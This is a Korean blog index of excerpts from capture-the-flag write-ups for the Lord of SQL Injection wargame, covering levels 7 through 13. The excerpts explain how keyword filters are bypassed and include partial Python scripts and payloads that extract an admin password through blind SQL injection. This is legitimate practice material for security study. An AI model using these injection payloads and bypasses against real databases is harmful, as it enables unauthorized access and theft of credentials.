CTF/Web
-
LOS 13 - bugbear Write Up (blind sql injection)CTF/Web 2020. 3. 21. 03:27
필터링을 먼저 확인해보면 싱글쿼터, substr, ascii, =, or, and,' ', like, 0x 정말 많은 것들을 사용하지 못하게 되었다. 이럴 때 우리는 어떻게 해야할까? 사실 저번 단계에서 한 것과 큰 차이는 없다. import requests url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?" headers = {"cookie":"PHPSESSID=qdc234242342"} pw ='' for i in range(1,9): for c in range(22,133): query = "no=6||no%0ain%0a(2)%26%26mid(pw,{},1)%0ain%0a(%22{}%22)%23".form..
-
LOS 12 - (darknight) Write Up (blind sql injection/substr, ascii, = 필터링 우회 및 like, in, mid 사용)CTF/Web 2020. 3. 20. 02:49
substr과 ascii, '=', '(싱글쿼터)이 필터링 되어 있다. 싱글쿼터는 사실상 더블쿼터를 사용하면 된다. (이 문제에선 따옴표를 사용할 필요가 없어서 쓰이진 않았다.) 그 이외의 필터링은 전 단계와 동일하다. import requests url ="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?" headers = {"cookie":"PHPSESSID=qadsf"} pw = '' for i in range(1,9): for c in range(22,133): query ="pw=&no=9||no like 2 and ord(mid(pw,{},1)) in ({})%23".format(i,c) #여기서 no의 ..
-
LOS - 11 (golem) Write Up (substr, = 필터링 우회, like와 in 활용)CTF/Web 2020. 3. 19. 01:46
이번에는 or ,and, substr, (, = 이 필터링이 되었다. = 필터링을 우회하기 위하여 like문법을 사용하여 id값에 'amdin'을 넣었고 in을 사용하면 =의 역할을 할 수 있기때문에 in 문법을 사용하였다. ex) lenght(pw) in 8 이제 이 우회기법을 이용해서 비밀번호를 알아내면 되는데 앞서 말한대로 =이 필터링이 됨으로 비교 연산자를 사용하였고 and or 필터링으로 &를 사용해야하는데 url 자체 기능으로 &가 사용되기 때문에 url 인코딩을 따로 해주어 %26으로 표기해주었다. substr이 필터링 되어있어서 right와 left를 사용하여 풀었다. (사실 mid를 쓰면 쉽습니다) import requests url = "https://los.rubiya.kr/chall..
-
LOS - 8 (troll) Write Up (preg_match와 i의 관계)CTF/Web 2020. 3. 16. 20:40
이번엔 대놓고 admin으로 접속하라면서 admin 문자를 필터링 해주었다. 그래서 Admin을 입력하였다. ! 여기서 잠깐 이 문제의 네이밍 센스가 보이는 문제였다. 왜 일까? 사실 우리는 다른 문제에서 많이 접했듯이 단어 필터링을 많이 보았을 것이다. 보통 replace 함수 같은 경우는 워낙 우회방법이 많아서 사용을 잘 안하지만 preg_match는 정말 많이 쓰인다. 그리고 보통 단어 우회를 하면 대문자도 막힌다. 그러나 여기서 대문자가 막히지 않은 이유는 가장 마지막에 붙혀주는 'i'라는 문구가 없어서이다. 'i'를 통해 대소문자 구분없이 막아줄수가 있는데 마치 트롤을 한듯이 실수로 적지 않은 컨셉 같아 보인다.
-
LOS - 7 (orge) Write Up (blind sql injection)CTF/Web 2020. 3. 15. 20:32
앞에서 or 과 and가 필터링이 되었으며 밑에서 ($result['pw'] == $_GET['pw']) 로직이 구현되어 있어서 pw를 통한 우회가 불가능하다. 그래서 blind sql이 되는지 확인 후 blind sql을 진행하였다. ?pw=' || '1'='1 을 쿼리로 입력하면 라고 뜬다. 여기서 중요한 점은 id가 'geust'로 고정이 되어있음으로 id='admin'을 추가해 주어야한다. import requests url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?" headers = {"cookie":"PHPSESSID=1231312312"} l = 0 for i in range(1,15): query = ..